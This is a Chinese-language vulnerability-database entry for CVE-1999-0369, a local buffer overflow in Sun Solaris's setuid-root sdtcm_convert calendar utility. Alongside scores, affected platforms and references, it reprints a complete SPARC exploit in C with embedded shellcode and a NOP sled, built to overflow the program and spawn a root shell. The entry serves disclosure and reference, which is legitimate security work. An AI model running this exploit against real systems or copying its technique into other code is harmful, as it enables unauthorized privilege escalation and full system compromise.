CVE-1999-0369
CVSS7.2
发布时间 :1997-02-01 00:00:00
修订时间 :2008-09-09 08:34:25
NMCOE    

[原文]The Sun sdtcm_convert calendar utility for OpenWindows has a buffer overflow which can gain root access.


[CNNVD]OpenWindows Sun sdtcm_convert日历实用程序权限许可和访问控制漏洞(CNNVD-199702-001)

        OpenWindows Sun的sdtcm_convert日历实用程序存在缓冲区溢出漏洞。可以利用该漏洞访问根目录。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:1.1.1a
cpe:/o:sun:solaris:2.5::x86
cpe:/o:sun:solaris:2.5
cpe:/o:sun:solaris:1.1.3:u1
cpe:/o:sun:solaris:1.1.2
cpe:/o:sun:solaris:2.0
cpe:/o:sun:solaris:2.2
cpe:/o:sun:solaris:2.3
cpe:/o:sun:solaris:2.5.1
cpe:/o:sun:solaris:1.1
cpe:/o:sun:solaris:1.1.4
cpe:/o:sun:solaris:2.1
cpe:/o:sun:solaris:2.4
cpe:/o:sun:solaris:::x86
cpe:/o:sun:solaris:2.4::x86
cpe:/o:sun:solaris:1.1.4::jl
cpe:/o:sun:solaris:1.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0369
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0369
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199702-001
(官方数据源) CNNVD

- 其它链接及资源

http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/183
(UNKNOWN)  SUN  00183

- 漏洞信息

OpenWindows Sun sdtcm_convert日历实用程序权限许可和访问控制漏洞
高危 缓冲区溢出
1997-02-01 00:00:00 2005-05-02 00:00:00
本地  
        OpenWindows Sun的sdtcm_convert日历实用程序存在缓冲区溢出漏洞。可以利用该漏洞访问根目录。

- 公告与补丁

        

- 漏洞信息 (19128)

Sun Solaris <= 7.0 sdtcm_convert Vulnerability (EDBID:19128)
solaris local
1998-10-23 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/166/info

Sdtcm_convert is a setuid-root data conversion utility which converts OpenWindows version 3 calendar data files to version 4 and vice versa. A buffer overflow condition has been found in sdtcm_convert which may be exploited to obtain root access.


/*=============================================================================
   sdtcm_convert Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
 
   [usage]
        % gcc ex_sdtcm_convert.c (This example program)
        % a.out
        If no response, hit ctrl+c
        #

=============================================================================
*/

#define     ADJUST      2
#define     OFFSET1     4000
#define     LENGTH1     260
#define     OFFSET2     6000
#define     LENGTH2     1000
#define     OFFSET3     6000+16*30

#define NOP 0xa61cc013

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"  
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
 
unsigned long ret_adr;
int i;
 
main()
{
    static char x[11000];

    memset(x,'a',10000);
    ret_adr=get_sp()-6300;
    for (i = 0; i < 5000 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    ret_adr=get_sp() - 10200;
    if ((ret_adr & 0xff )==0) ret_adr+=4;
    printf("%lx\n",ret_adr);
    for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
        x[i+3]=NOP & 0xff;  
        x[i+2]=(NOP >> 8 ) &0xff; 
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++)
x[OFFSET3+ADJUST+i]=exploit_code[i];
    x[10000]=0;
    execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert",
"-d",x,"test",(char *) 0);
}
		

- 漏洞信息

11492
Solaris OpenWindows sdtcm_convert Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in the sdtcm_convert program used with OpenWindows. sdtcm_convert fails to correctly check incoming data resulting in a buffer overflow. With a specially crafted request, an attacker can gain root access resulting in a loss of integrity.

- 时间线

1997-02-21 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun Microsystems has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站